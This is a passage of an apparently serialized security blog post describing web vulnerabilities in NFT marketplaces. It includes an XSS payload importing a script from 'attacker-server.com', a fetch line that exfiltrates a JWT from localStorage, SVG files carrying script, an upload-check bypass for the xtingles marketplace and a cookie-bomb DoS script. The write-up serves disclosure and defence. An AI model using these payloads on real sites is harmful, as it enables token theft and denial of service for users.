,{"type":19,"tag":168,"props":31144,"children":31145},{"style":382},[31146],{"type":24,"value":29888},{"type":19,"tag":168,"props":31148,"children":31149},{"style":29848},[31150],{"type":24,"value":3427},{"type":19,"tag":168,"props":31152,"children":31153},{"class":170,"line":1008},[31154],{"type":19,"tag":168,"props":31155,"children":31156},{"emptyLinePlaceholder":14},[31157],{"type":24,"value":1093},{"type":19,"tag":168,"props":31159,"children":31160},{"class":170,"line":1025},[31161,31165],{"type":19,"tag":168,"props":31162,"children":31163},{"style":212},[31164],{"type":24,"value":30362},{"type":19,"tag":168,"props":31166,"children":31167},{"style":382},[31168],{"type":24,"value":8324},{"type":19,"tag":168,"props":31170,"children":31171},{"class":170,"line":1042},[31172,31176,31180,31184,31188,31192,31196,31200,31204,31208,31212,31216],{"type":19,"tag":168,"props":31173,"children":31174},{"style":393},[31175],{"type":24,"value":30374},{"type":19,"tag":168,"props":31177,"children":31178},{"style":393},[31179],{"type":24,"value":30379},{"type":19,"tag":168,"props":31181,"children":31182},{"style":399},[31183],{"type":24,"value":30384},{"type":19,"tag":168,"props":31185,"children":31186},{"style":419},[31187],{"type":24,"value":30389},{"type":19,"tag":168,"props":31189,"children":31190},{"style":399},[31191],{"type":24,"value":461},{"type":19,"tag":168,"props":31193,"children":31194},{"style":419},[31195],{"type":24,"value":30389},{"type":19,"tag":168,"props":31197,"children":31198},{"style":175},[31199],{"type":24,"value":30402},{"type":19,"tag":168,"props":31201,"children":31202},{"style":399},[31203],{"type":24,"value":500},{"type":19,"tag":168,"props":31205,"children":31206},{"style":181},[31207],{"type":24,"value":30411},{"type":19,"tag":168,"props":31209,"children":31210},{"style":399},[31211],{"type":24,"value":30416},{"type":19,"tag":168,"props":31213,"children":31214},{"style":175},[31215],{"type":24,"value":30421},{"type":19,"tag":168,"props":31217,"children":31218},{"style":399},[31219],{"type":24,"value":5172},{"type":19,"tag":168,"props":31221,"children":31222},{"class":170,"line":1055},[31223],{"type":19,"tag":168,"props":31224,"children":31225},{"emptyLinePlaceholder":14},[31226],{"type":24,"value":1093},{"type":19,"tag":168,"props":31228,"children":31229},{"class":170,"line":1064},[31230,31234,31238,31242,31246,31250,31254,31258,31262,31266,31270,31274,31278],{"type":19,"tag":168,"props":31231,"children":31232},{"style":393},[31233],{"type":24,"value":456},{"type":19,"tag":168,"props":31235,"children":31236},{"style":393},[31237],{"type":24,"value":30444},{"type":19,"tag":168,"props":31239,"children":31240},{"style":399},[31241],{"type":24,"value":30384},{"type":19,"tag":168,"props":31243,"children":31244},{"style":382},[31245],{"type":24,"value":12569},{"type":19,"tag":168,"props":31247,"children":31248},{"style":175},[31249],{"type":24,"value":30457},{"type":19,"tag":168,"props":31251,"children":31252},{"style":399},[31253],{"type":24,"value":30462},{"type":19,"tag":168,"props":31255,"children":31256},{"style":393},[31257],{"type":24,"value":30421},{"type":19,"tag":168,"props":31259,"children":31260},{"style":399},[31261],{"type":24,"value":20516},{"type":19,"tag":168,"props":31263,"children":31264},{"style":181},[31265],{"type":24,"value":30475},{"type":19,"tag":168,"props":31267,"children":31268},{"style":399},[31269],{"type":24,"value":30480},{"type":19,"tag":168,"props":31271,"children":31272},{"style":393},[31273],{"type":24,"value":30485},{"type":19,"tag":168,"props":31275,"children":31276},{"style":181},[31277],{"type":24,"value":30490},{"type":19,"tag":168,"props":31279,"children":31280},{"style":399},[31281],{"type":24,"value":30495},{"type":19,"tag":168,"props":31283,"children":31284},{"class":170,"line":1087},[31285,31289,31293,31297,31301,31305],{"type":19,"tag":168,"props":31286,"children":31287},{"style":393},[31288],{"type":24,"value":30374},{"type":19,"tag":168,"props":31290,"children":31291},{"style":393},[31292],{"type":24,"value":30507},{"type":19,"tag":168,"props":31294,"children":31295},{"style":399},[31296],{"type":24,"value":30384},{"type":19,"tag":168,"props":31298,"children":31299},{"style":382},[31300],{"type":24,"value":12569},{"type":19,"tag":168,"props":31302,"children":31303},{"style":175},[31304],{"type":24,"value":30520},{"type":19,"tag":168,"props":31306,"children":31307},{"style":399},[31308],{"type":24,"value":1084},{"type":19,"tag":168,"props":31310,"children":31311},{"class":170,"line":1096},[31312,31316,31320,31324,31328,31332,31336,31340],{"type":19,"tag":168,"props":31313,"children":31314},{"style":393},[31315],{"type":24,"value":30532},{"type":19,"tag":168,"props":31317,"children":31318},{"style":399},[31319],{"type":24,"value":948},{"type":19,"tag":168,"props":31321,"children":31322},{"style":393},[31323],{"type":24,"value":30541},{"type":19,"tag":168,"props":31325,"children":31326},{"style":399},[31327],{"type":24,"value":948},{"type":19,"tag":168,"props":31329,"children":31330},{"style":175},[31331],{"type":24,"value":7080},{"type":19,"tag":168,"props":31333,"children":31334},{"style":399},[31335],{"type":24,"value":500},{"type":19,"tag":168,"props":31337,"children":31338},{"style":393},[31339],{"type":24,"value":30558},{"type":19,"tag":168,"props":31341,"children":31342},{"style":399},[31343],{"type":24,"value":1249},{"type":19,"tag":168,"props":31345,"children":31346},{"class":170,"line":1105},[31347],{"type":19,"tag":168,"props":31348,"children":31349},{"emptyLinePlaceholder":14},[31350],{"type":24,"value":1093},{"type":19,"tag":168,"props":31352,"children":31353},{"class":170,"line":1174},[31354,31358,31362,31366,31370,31374,31378,31382],{"type":19,"tag":168,"props":31355,"children":31356},{"style":393},[31357],{"type":24,"value":30577},{"type":19,"tag":168,"props":31359,"children":31360},{"style":399},[31361],{"type":24,"value":948},{"type":19,"tag":168,"props":31363,"children":31364},{"style":393},[31365],{"type":24,"value":30586},{"type":19,"tag":168,"props":31367,"children":31368},{"style":399},[31369],{"type":24,"value":30384},{"type":19,"tag":168,"props":31371,"children":31372},{"style":393},[31373],{"type":24,"value":30595},{"type":19,"tag":168,"props":31375,"children":31376},{"style":399},[31377],{"type":24,"value":948},{"type":19,"tag":168,"props":31379,"children":31380},{"style":393},[31381],{"type":24,"value":30586},{"type":19,"tag":168,"props":31383,"children":31384},{"style":399},[31385],{"type":24,"value":412},{"type":19,"tag":168,"props":31387,"children":31388},{"class":170,"line":1182},[31389],{"type":19,"tag":168,"props":31390,"children":31391},{"emptyLinePlaceholder":14},[31392],{"type":24,"value":1093},{"type":19,"tag":168,"props":31394,"children":31395},{"class":170,"line":1212},[31396,31401,31405,31410],{"type":19,"tag":168,"props":31397,"children":31398},{"style":393},[31399],{"type":24,"value":31400}," form123",{"type":19,"tag":168,"props":31402,"children":31403},{"style":399},[31404],{"type":24,"value":948},{"type":19,"tag":168,"props":31406,"children":31407},{"style":175},[31408],{"type":24,"value":31409},"submit",{"type":19,"tag":168,"props":31411,"children":31412},{"style":399},[31413],{"type":24,"value":5172},{"type":19,"tag":168,"props":31415,"children":31416},{"class":170,"line":1220},[31417,31421],{"type":19,"tag":168,"props":31418,"children":31419},{"style":382},[31420],{"type":24,"value":30615},{"type":19,"tag":168,"props":31422,"children":31423},{"style":212},[31424],{"type":24,"value":30620},{"type":19,"tag":168,"props":31426,"children":31427},{"class":170,"line":1252},[31428],{"type":19,"tag":168,"props":31429,"children":31430},{"emptyLinePlaceholder":14},[31431],{"type":24,"value":1093},{"type":19,"tag":168,"props":31433,"children":31434},{"class":170,"line":1260},[31435,31439,31443],{"type":19,"tag":168,"props":31436,"children":31437},{"style":29848},[31438],{"type":24,"value":30317},{"type":19,"tag":168,"props":31440,"children":31441},{"style":382},[31442],{"type":24,"value":29888},{"type":19,"tag":168,"props":31444,"children":31445},{"style":29848},[31446],{"type":24,"value":3427},{"type":19,"tag":168,"props":31448,"children":31449},{"class":170,"line":1320},[31450,31454,31458],{"type":19,"tag":168,"props":31451,"children":31452},{"style":29848},[31453],{"type":24,"value":29902},{"type":19,"tag":168,"props":31455,"children":31456},{"style":382},[31457],{"type":24,"value":29855},{"type":19,"tag":168,"props":31459,"children":31460},{"style":29848},[31461],{"type":24,"value":3427},{"type":19,"tag":20,"props":31463,"children":31464},{},[31465],{"type":24,"value":31466},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":19,"tag":158,"props":31468,"children":31472},{"className":31469,"code":31470,"language":31471,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[31473],{"type":19,"tag":27,"props":31474,"children":31475},{"__ignoreMap":7},[31476,31483,31504,31525,31542],{"type":19,"tag":168,"props":31477,"children":31478},{"class":170,"line":171},[31479],{"type":19,"tag":168,"props":31480,"children":31481},{"style":212},[31482],{"type":24,"value":8324},{"type":19,"tag":168,"props":31484,"children":31485},{"class":170,"line":198},[31486,31491,31495,31500],{"type":19,"tag":168,"props":31487,"children":31488},{"style":393},[31489],{"type":24,"value":31490}," \"address\"",{"type":19,"tag":168,"props":31492,"children":31493},{"style":212},[31494],{"type":24,"value":12778},{"type":19,"tag":168,"props":31496,"children":31497},{"style":181},[31498],{"type":24,"value":31499},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":19,"tag":168,"props":31501,"children":31502},{"style":212},[31503],{"type":24,"value":915},{"type":19,"tag":168,"props":31505,"children":31506},{"class":170,"line":415},[31507,31512,31516,31521],{"type":19,"tag":168,"props":31508,"children":31509},{"style":393},[31510],{"type":24,"value":31511}," \"to\"",{"type":19,"tag":168,"props":31513,"children":31514},{"style":212},[31515],{"type":24,"value":12778},{"type":19,"tag":168,"props":31517,"children":31518},{"style":181},[31519],{"type":24,"value":31520},"\"profile-assets\"",{"type":19,"tag":168,"props":31522,"children":31523},{"style":212},[31524],{"type":24,"value":915},{"type":19,"tag":168,"props":31526,"children":31527},{"class":170,"line":450},[31528,31533,31537],{"type":19,"tag":168,"props":31529,"children":31530},{"style":393},[31531],{"type":24,"value":31532}," \"type\"",{"type":19,"tag":168,"props":31534,"children":31535},{"style":212},[31536],{"type":24,"value":12778},{"type":19,"tag":168,"props":31538,"children":31539},{"style":181},[31540],{"type":24,"value":31541},"\"icon\"\n",{"type":19,"tag":168,"props":31543,"children":31544},{"class":170,"line":560},[31545],{"type":19,"tag":168,"props":31546,"children":31547},{"style":212},[31548],{"type":24,"value":1326},{"type":19,"tag":20,"props":31550,"children":31551},{},[31552],{"type":24,"value":31553},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":19,"tag":158,"props":31555,"children":31557},{"className":28835,"code":31556,"language":28837,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[31558],{"type":19,"tag":27,"props":31559,"children":31560},{"__ignoreMap":7},[31561],{"type":19,"tag":168,"props":31562,"children":31563},{"class":170,"line":171},[31564,31569,31573,31578,31583,31588,31592,31597,31601,31606,31610,31615,31619],{"type":19,"tag":168,"props":31565,"children":31566},{"style":175},[31567],{"type":24,"value":31568},"fetch",{"type":19,"tag":168,"props":31570,"children":31571},{"style":212},[31572],{"type":24,"value":500},{"type":19,"tag":168,"props":31574,"children":31575},{"style":181},[31576],{"type":24,"value":31577},"`https://attacker-server.com/?token_leak=",{"type":19,"tag":168,"props":31579,"children":31580},{"style":382},[31581],{"type":24,"value":31582},"${",{"type":19,"tag":168,"props":31584,"children":31585},{"style":393},[31586],{"type":24,"value":31587},"localStorage",{"type":19,"tag":168,"props":31589,"children":31590},{"style":399},[31591],{"type":24,"value":948},{"type":19,"tag":168,"props":31593,"children":31594},{"style":175},[31595],{"type":24,"value":31596},"getItem",{"type":19,"tag":168,"props":31598,"children":31599},{"style":399},[31600],{"type":24,"value":500},{"type":19,"tag":168,"props":31602,"children":31603},{"style":181},[31604],{"type":24,"value":31605},"'token'",{"type":19,"tag":168,"props":31607,"children":31608},{"style":399},[31609],{"type":24,"value":524},{"type":19,"tag":168,"props":31611,"children":31612},{"style":382},[31613],{"type":24,"value":31614},"}",{"type":19,"tag":168,"props":31616,"children":31617},{"style":181},[31618],{"type":24,"value":7825},{"type":19,"tag":168,"props":31620,"children":31621},{"style":212},[31622],{"type":24,"value":1249},{"type":19,"tag":7050,"props":31624,"children":31626},{"id":31625},"svgs",[31627],{"type":24,"value":31628},"SVGs",{"type":19,"tag":20,"props":31630,"children":31631},{},[31632],{"type":24,"value":31633},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":19,"tag":20,"props":31635,"children":31636},{},[31637],{"type":24,"value":31638},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":19,"tag":158,"props":31640,"children":31642},{"className":28835,"code":31641,"language":28837,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[31643],{"type":19,"tag":27,"props":31644,"children":31645},{"__ignoreMap":7},[31646,31692,31729,31736,31766,31798,31826,31834,31850],{"type":19,"tag":168,"props":31647,"children":31648},{"class":170,"line":171},[31649,31654,31659,31664,31668,31673,31678,31682,31687],{"type":19,"tag":168,"props":31650,"children":31651},{"style":399},[31652],{"type":24,"value":31653},"\u003C?",{"type":19,"tag":168,"props":31655,"children":31656},{"style":393},[31657],{"type":24,"value":31658},"xml",{"type":19,"tag":168,"props":31660,"children":31661},{"style":393},[31662],{"type":24,"value":31663}," version",{"type":19,"tag":168,"props":31665,"children":31666},{"style":399},[31667],{"type":24,"value":486},{"type":19,"tag":168,"props":31669,"children":31670},{"style":181},[31671],{"type":24,"value":31672},"\"1.0\"",{"type":19,"tag":168,"props":31674,"children":31675},{"style":393},[31676],{"type":24,"value":31677}," encoding",{"type":19,"tag":168,"props":31679,"children":31680},{"style":399},[31681],{"type":24,"value":486},{"type":19,"tag":168,"props":31683,"children":31684},{"style":181},[31685],{"type":24,"value":31686},"\"UTF-8\"",{"type":19,"tag":168,"props":31688,"children":31689},{"style":399},[31690],{"type":24,"value":31691},"?>\n",{"type":19,"tag":168,"props":31693,"children":31694},{"class":170,"line":198},[31695,31700,31705,31710,31715,31720,31725],{"type":19,"tag":168,"props":31696,"children":31697},{"style":399},[31698],{"type":24,"value":31699},"\u003C!",{"type":19,"tag":168,"props":31701,"children":31702},{"style":393},[31703],{"type":24,"value":31704},"DOCTYPE",{"type":19,"tag":168,"props":31706,"children":31707},{"style":393},[31708],{"type":24,"value":31709}," svg",{"type":19,"tag":168,"props":31711,"children":31712},{"style":393},[31713],{"type":24,"value":31714}," PUBLIC",{"type":19,"tag":168,"props":31716,"children":31717},{"style":181},[31718],{"type":24,"value":31719}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":19,"tag":168,"props":31721,"children":31722},{"style":181},[31723],{"type":24,"value":31724}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":19,"tag":168,"props":31726,"children":31727},{"style":399},[31728],{"type":24,"value":3427},{"type":19,"tag":168,"props":31730,"children":31731},{"class":170,"line":415},[31732],{"type":19,"tag":168,"props":31733,"children":31734},{"emptyLinePlaceholder":14},[31735],{"type":24,"value":1093},{"type":19,"tag":168,"props":31737,"children":31738},{"class":170,"line":450},[31739,31743,31748,31753,31757,31762],{"type":19,"tag":168,"props":31740,"children":31741},{"style":29848},[31742],{"type":24,"value":6157},{"type":19,"tag":168,"props":31744,"children":31745},{"style":382},[31746],{"type":24,"value":31747},"svg",{"type":19,"tag":168,"props":31749,"children":31750},{"style":393},[31751],{"type":24,"value":31752}," xmlns",{"type":19,"tag":168,"props":31754,"children":31755},{"style":399},[31756],{"type":24,"value":486},{"type":19,"tag":168,"props":31758,"children":31759},{"style":181},[31760],{"type":24,"value":31761},"\"http://www.w3.org/2000/svg\"",{"type":19,"tag":168,"props":31763,"children":31764},{"style":29848},[31765],{"type":24,"value":3427},{"type":19,"tag":168,"props":31767,"children":31768},{"class":170,"line":560},[31769,31773,31778,31782,31786,31790,31794],{"type":19,"tag":168,"props":31770,"children":31771},{"style":29848},[31772],{"type":24,"value":29867},{"type":19,"tag":168,"props":31774,"children":31775},{"style":382},[31776],{"type":24,"value":31777},"title",{"type":19,"tag":168,"props":31779,"children":31780},{"style":29848},[31781],{"type":24,"value":7905},{"type":19,"tag":168,"props":31783,"children":31784},{"style":212},[31785],{"type":24,"value":28709},{"type":19,"tag":168,"props":31787,"children":31788},{"style":29848},[31789],{"type":24,"value":29902},{"type":19,"tag":168,"props":31791,"children":31792},{"style":382},[31793],{"type":24,"value":31777},{"type":19,"tag":168,"props":31795,"children":31796},{"style":29848},[31797],{"type":24,"value":3427},{"type":19,"tag":168,"props":31799,"children":31800},{"class":170,"line":666},[31801,31805,31809,31813,31817,31822],{"type":19,"tag":168,"props":31802,"children":31803},{"style":29848},[31804],{"type":24,"value":29867},{"type":19,"tag":168,"props":31806,"children":31807},{"style":382},[31808],{"type":24,"value":29888},{"type":19,"tag":168,"props":31810,"children":31811},{"style":393},[31812],{"type":24,"value":30013},{"type":19,"tag":168,"props":31814,"children":31815},{"style":399},[31816],{"type":24,"value":486},{"type":19,"tag":168,"props":31818,"children":31819},{"style":181},[31820],{"type":24,"value":31821},"\"text/javascript\"",{"type":19,"tag":168,"props":31823,"children":31824},{"style":29848},[31825],{"type":24,"value":3427},{"type":19,"tag":168,"props":31827,"children":31828},{"class":170,"line":694},[31829],{"type":19,"tag":168,"props":31830,"children":31831},{"style":212},[31832],{"type":24,"value":31833}," alert(document.domain);\n",{"type":19,"tag":168,"props":31835,"children":31836},{"class":170,"line":707},[31837,31842,31846],{"type":19,"tag":168,"props":31838,"children":31839},{"style":29848},[31840],{"type":24,"value":31841}," \u003C/",{"type":19,"tag":168,"props":31843,"children":31844},{"style":382},[31845],{"type":24,"value":29888},{"type":19,"tag":168,"props":31847,"children":31848},{"style":29848},[31849],{"type":24,"value":3427},{"type":19,"tag":168,"props":31851,"children":31852},{"class":170,"line":725},[31853,31858,31862],{"type":19,"tag":168,"props":31854,"children":31855},{"style":29848},[31856],{"type":24,"value":31857}," \u003C/",{"type":19,"tag":168,"props":31859,"children":31860},{"style":382},[31861],{"type":24,"value":31747},{"type":19,"tag":168,"props":31863,"children":31864},{"style":29848},[31865],{"type":24,"value":3427},{"type":19,"tag":20,"props":31867,"children":31868},{},[31869,31871,31878],{"type":24,"value":31870},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":19,"tag":269,"props":31872,"children":31875},{"href":31873,"rel":31874},"https://xtingles.com/",[273],[31876],{"type":24,"value":31877},"xtingles Marketplace",{"type":24,"value":948},{"type":19,"tag":20,"props":31880,"children":31881},{},[31882],{"type":24,"value":31883},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":19,"tag":20,"props":31885,"children":31886},{},[31887],{"type":24,"value":31888},"Below, we show you how we did it.",{"type":19,"tag":20,"props":31890,"children":31891},{},[31892],{"type":24,"value":31893},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":19,"tag":20,"props":31895,"children":31896},{},[31897],{"type":19,"tag":1344,"props":31898,"children":31900},{"alt":7,"src":31899},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":19,"tag":20,"props":31902,"children":31903},{},[31904],{"type":24,"value":31905},"After changing the extension inside the file name.",{"type":19,"tag":20,"props":31907,"children":31908},{},[31909],{"type":19,"tag":1344,"props":31910,"children":31912},{"alt":7,"src":31911},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":19,"tag":7050,"props":31914,"children":31916},{"id":31915},"svgs-return",[31917],{"type":24,"value":31918},"SVGs Return",{"type":19,"tag":20,"props":31920,"children":31921},{},[31922],{"type":24,"value":31923},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":19,"tag":20,"props":31925,"children":31926},{},[31927],{"type":24,"value":31928},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":19,"tag":20,"props":31930,"children":31931},{},[31932],{"type":24,"value":31933},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":19,"tag":158,"props":31935,"children":31939},{"className":31936,"code":31937,"language":31938,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[31940],{"type":19,"tag":27,"props":31941,"children":31942},{"__ignoreMap":7},[31943,31982,32013,32020,32047,32078,32105,32113,32121,32128,32140,32215,32223,32238],{"type":19,"tag":168,"props":31944,"children":31945},{"class":170,"line":171},[31946,31950,31954,31958,31962,31966,31970,31974,31978],{"type":19,"tag":168,"props":31947,"children":31948},{"style":399},[31949],{"type":24,"value":31653},{"type":19,"tag":168,"props":31951,"children":31952},{"style":393},[31953],{"type":24,"value":31658},{"type":19,"tag":168,"props":31955,"children":31956},{"style":393},[31957],{"type":24,"value":31663},{"type":19,"tag":168,"props":31959,"children":31960},{"style":399},[31961],{"type":24,"value":486},{"type":19,"tag":168,"props":31963,"children":31964},{"style":181},[31965],{"type":24,"value":31672},{"type":19,"tag":168,"props":31967,"children":31968},{"style":393},[31969],{"type":24,"value":31677},{"type":19,"tag":168,"props":31971,"children":31972},{"style":399},[31973],{"type":24,"value":486},{"type":19,"tag":168,"props":31975,"children":31976},{"style":181},[31977],{"type":24,"value":31686},{"type":19,"tag":168,"props":31979,"children":31980},{"style":399},[31981],{"type":24,"value":31691},{"type":19,"tag":168,"props":31983,"children":31984},{"class":170,"line":198},[31985,31989,31993,31997,32001,32005,32009],{"type":19,"tag":168,"props":31986,"children":31987},{"style":399},[31988],{"type":24,"value":31699},{"type":19,"tag":168,"props":31990,"children":31991},{"style":393},[31992],{"type":24,"value":31704},{"type":19,"tag":168,"props":31994,"children":31995},{"style":393},[31996],{"type":24,"value":31709},{"type":19,"tag":168,"props":31998,"children":31999},{"style":393},[32000],{"type":24,"value":31714},{"type":19,"tag":168,"props":32002,"children":32003},{"style":181},[32004],{"type":24,"value":31719},{"type":19,"tag":168,"props":32006,"children":32007},{"style":181},[32008],{"type":24,"value":31724},{"type":19,"tag":168,"props":32010,"children":32011},{"style":399},[32012],{"type":24,"value":3427},{"type":19,"tag":168,"props":32014,"children":32015},{"class":170,"line":415},[32016],{"type":19,"tag":168,"props":32017,"children":32018},{"emptyLinePlaceholder":14},[32019],{"type":24,"value":1093},{"type":19,"tag":168,"props":32021,"children":32022},{"class":170,"line":450},[32023,32027,32031,32035,32039,32043],{"type":19,"tag":168,"props":32024,"children":32025},{"style":29848},[32026],{"type":24,"value":6157},{"type":19,"tag":168,"props":32028,"children":32029},{"style":382},[32030],{"type":24,"value":31747},{"type":19,"tag":168,"props":32032,"children":32033},{"style":393},[32034],{"type":24,"value":31752},{"type":19,"tag":168,"props":32036,"children":32037},{"style":399},[32038],{"type":24,"value":486},{"type":19,"tag":168,"props":32040,"children":32041},{"style":181},[32042],{"type":24,"value":31761},{"type":19,"tag":168,"props":32044,"children":32045},{"style":29848},[32046],{"type":24,"value":3427},{"type":19,"tag":168,"props":32048,"children":32049},{"class":170,"line":560},[32050,32054,32058,32062,32066,32070,32074],{"type":19,"tag":168,"props":32051,"children":32052},{"style":29848},[32053],{"type":24,"value":29867},{"type":19,"tag":168,"props":32055,"children":32056},{"style":382},[32057],{"type":24,"value":31777},{"type":19,"tag":168,"props":32059,"children":32060},{"style":29848},[32061],{"type":24,"value":7905},{"type":19,"tag":168,"props":32063,"children":32064},{"style":212},[32065],{"type":24,"value":28709},{"type":19,"tag":168,"props":32067,"children":32068},{"style":29848},[32069],{"type":24,"value":29902},{"type":19,"tag":168,"props":32071,"children":32072},{"style":382},[32073],{"type":24,"value":31777},{"type":19,"tag":168,"props":32075,"children":32076},{"style":29848},[32077],{"type":24,"value":3427},{"type":19,"tag":168,"props":32079,"children":32080},{"class":170,"line":666},[32081,32085,32089,32093,32097,32101],{"type":19,"tag":168,"props":32082,"children":32083},{"style":29848},[32084],{"type":24,"value":29867},{"type":19,"tag":168,"props":32086,"children":32087},{"style":382},[32088],{"type":24,"value":29888},{"type":19,"tag":168,"props":32090,"children":32091},{"style":393},[32092],{"type":24,"value":30013},{"type":19,"tag":168,"props":32094,"children":32095},{"style":399},[32096],{"type":24,"value":486},{"type":19,"tag":168,"props":32098,"children":32099},{"style":181},[32100],{"type":24,"value":31821},{"type":19,"tag":168,"props":32102,"children":32103},{"style":29848},[32104],{"type":24,"value":3427},{"type":19,"tag":168,"props":32106,"children":32107},{"class":170,"line":694},[32108],{"type":19,"tag":168,"props":32109,"children":32110},{"style":212},[32111],{"type":24,"value":32112}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":19,"tag":168,"props":32114,"children":32115},{"class":170,"line":707},[32116],{"type":19,"tag":168,"props":32117,"children":32118},{"style":212},[32119],{"type":24,"value":32120}," var Set_Cookie = Array(10000).join('a');\n",{"type":19,"tag":168,"props":32122,"children":32123},{"class":170,"line":725},[32124],{"type":19,"tag":168,"props":32125,"children":32126},{"emptyLinePlaceholder":14},[32127],{"type":24,"value":1093},{"type":19,"tag":168,"props":32129,"children":32130},{"class":170,"line":746},[32131,32136],{"type":19,"tag":168,"props":32132,"children":32133},{"style":212},[32134],{"type":24,"value":32135}," for (var i = 1; i \u003C 99; i++) ",{"type":19,"tag":168,"props":32137,"children":32138},{"style":382},[32139],{"type":24,"value":8324},{"type":19,"tag":168,"props":32141,"children":32142},{"class":170,"line":755},[32143,32148,32152,32157,32161,32166,32171,32175,32179,32184,32188,32193,32197,32202,32206,32211],{"type":19,"tag":168,"props":32144,"children":32145},{"style":393},[32146],{"type":24,"value":32147}," document",{"type":19,"tag":168,"props":32149,"children":32150},{"style":399},[32151],{"type":24,"value":948},{"type":19,"tag":168,"props":32153,"children":32154},{"style":393},[32155],{"type":24,"value":32156},"cookie",{"type":19,"tag":168,"props":32158,"children":32159},{"style":399},[32160],{"type":24,"value":30384},{"type":19,"tag":168,"props":32162,"children":32163},{"style":181},[32164],{"type":24,"value":32165},"'Cookie'",{"type":19,"tag":168,"props":32167,"children":32168},{"style":399},[32169],{"type":24,"value":32170}," + ",{"type":19,"tag":168,"props":32172,"children":32173},{"style":393},[32174],{"type":24,"value":1157},{"type":19,"tag":168,"props":32176,"children":32177},{"style":399},[32178],{"type":24,"value":32170},{"type":19,"tag":168,"props":32180,"children":32181},{"style":181},[32182],{"type":24,"value":32183},"'='",{"type":19,"tag":168,"props":32185,"children":32186},{"style":399},[32187],{"type":24,"value":32170},{"type":19,"tag":168,"props":32189,"children":32190},{"style":393},[32191],{"type":24,"value":32192},"Set_Cookie",{"type":19,"tag":168,"props":32194,"children":32195},{"style":399},[32196],{"type":24,"value":32170},{"type":19,"tag":168,"props":32198,"children":32199},{"style":181},[32200],{"type":24,"value":32201},"';Domain='",{"type":19,"tag":168,"props":32203,"children":32204},{"style":399},[32205],{"type":24,"value":32170},{"type":19,"tag":168,"props":32207,"children":32208},{"style":393},[32209],{"type":24,"value":32210},"Take_Domain",{"type":19,"tag":168,"props":32212,"children":32213},{"style":399},[32214],{"type":24,"value":412},{"type":19,"tag":168,"props":32216,"children":32217},{"class":170,"line":1008},[32218],{"type":19,"tag":168,"props":32219,"children":32220},{"style":382},[32221],{"type":24,"value":32222}," }\n",{"type":19,"tag":168,"props":32224,"children":32225},{"class":170,"line":1025},[32226,32230,32234],{"type":19,"tag":168,"props":32227,"children":32228},{"style":29848},[32229],{"type":24,"value":31841},{"type":19,"tag":168,"props":32231,"children":32232},{"style":382},[32233],{"type":24,"value":29888},{"type":19,"tag":168,"props":32235,"children":32236},{"style":29848},[32237],{"type":24,"value":3427},{"type":19,"tag":168,"props":32239,"children":32240},{"class":170,"line":1042},[32241,32245,32249],{"type":19,"tag":168,"props":32242,"children":32243},{"style":29848},[32244],{"type":24,"value":31857},{"type":19,"tag":168,"props":32246,"children":32247},{"style":382},[32248],{"type":24,"value":31747},{"type":19,"tag":168,"props":32250,"children":32251},{"style":29848},[32252],{"type":24,"value":3427},{"type":19,"tag":20,"props":32254,"children":32255},{},[32256],{"type":24,"value":32257},"As a result, we're able to prevent the user from loading images.",{"type":19,"tag":36,"props":32259,"children":32261},{"id":32260},"authentication",[32262],{"type":24,"value":32263},"Authentication",{"type":19,"tag":20,"props":32265,"children":32266},{},[32267],{"type":19,"tag":293,"props":32268,"children":32269},{},[32270,32272,32279],{"type":24,"value":32271},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":19,"tag":269,"props":32273,"children":32276},{"href":32274,"rel":32275},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[273],[32277],{"type":24,"value":32278},"great misfortune has 